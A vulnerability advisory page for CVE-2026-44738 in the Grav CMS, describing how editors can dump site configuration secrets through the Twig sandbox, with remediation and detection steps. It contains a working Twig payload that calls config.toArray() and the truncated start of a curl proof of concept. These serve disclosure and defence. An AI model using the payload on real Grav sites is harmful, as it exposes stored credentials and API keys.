Categories
CVE-2026-44738 high CVSS 7.7

Information Disclosure in getgrav/grav (CVE-2026-44738)

Summary

Vulnerability in getgrav/grav (CVE-2026-44738). Confidential information can be exposed externally. Exploitable via admin.pages. Mitigation: upgrade to 2.0.0-rc.2 or later.

Original description

The description as published by the source.

Summary

The Twig sandbox allow-list permits any user with the admin.pages role to call config.toArray() from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required.

Details

The Twig sandbox allow-list in system/config/security.yaml explicitly permits Config::toArray() for the Grav\Common\Config\Config class:

- class: 'Grav\Common\Config\Config'
  methods: 'get, toarray, value, default, offsetget, offsetexists'

The config object — which holds the full merged configuration tree including every key under plugins.* — is injected into every sandboxed render in system/src/Grav/Common/Twig/Twig.php (line 292):

$twig_vars = [..., 'config' => $config, ...]

Any editor with admin.pages can save a page with process.twig: true in the frontmatter and the following payload in the body:

{{ config.toArray()|json_encode|raw }}

When the page is rendered, the full config tree is dumped as JSON in the HTML, including all plugin secrets stored under user/config/plugins/*.yaml.

PoC

# Step 1 — Get login nonce
NONCE=$(curl -sc /tmp/cookies.txt http://TARGET/admin \
  | grep -oP '(?<=name="login-nonce" value=")[^"]+')

# Step 2 — Login as editor (no admin.super)
curl -sc /tmp/cookies.txt -b /tmp/cookies.txt \
  -X POST http://TARGET/admin \
  --data-urlenc…

Source: NIST National Vulnerability Database NVD GitHub Advisory

Auto-generated summary

Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.

A vulnerability tracked as CVE-2026-44738 has been found in getgrav/grav.
Attackers can target a specific entry point like admin.pages over the network to misuse the product.
Confidential information can be exposed externally. CVSS score: 7.7/10.
What to do: upgrade getgrav/grav to 2.0.0-rc.2 or later.
If unsure, ask your IT team or search "getgrav/grav CVE-2026-44738" on the vendor's site.

CVE-2026-44738 (getgrav/grav) — CWE-200 / CVSS v3 7.7
Attack vector: remote (network-reachable) / no user interaction
Attack surface: admin.pages / config
Patched: 2.0.0-rc.2 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.

❓ What is the problem

Information disclosure (CWE-200) exists in getgrav/grav. Attackers reach the vulnerable code path via admin.pages.

📍 Affected scope

Check the vendor advisory for the affected versions of getgrav/grav. Attack surface: admin.pages / config.

🔥 Severity

Severity: High (CVSS 7.7/10). Confidential information can be exposed externally.

🔧 How to fix

Update to 2.0.0-rc.2.

🛡️ Workaround

Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.

🔍 Detection

Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'getgrav/grav' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

  1. 1
    Identify exposure identify
    grep -r 'getgrav/grav' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で getgrav/grav を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Apply patch patch
    Upgrade getgrav/grav to 2.0.0-rc.2

    ステージング環境で 2.0.0-rc.2 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。

  3. 3
    Post-deployment verification verify
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

Affected packages

composer getgrav/grav
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.0-rc.2"}]}]
Packagist getgrav/grav
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.0-rc.2"}]}]

References

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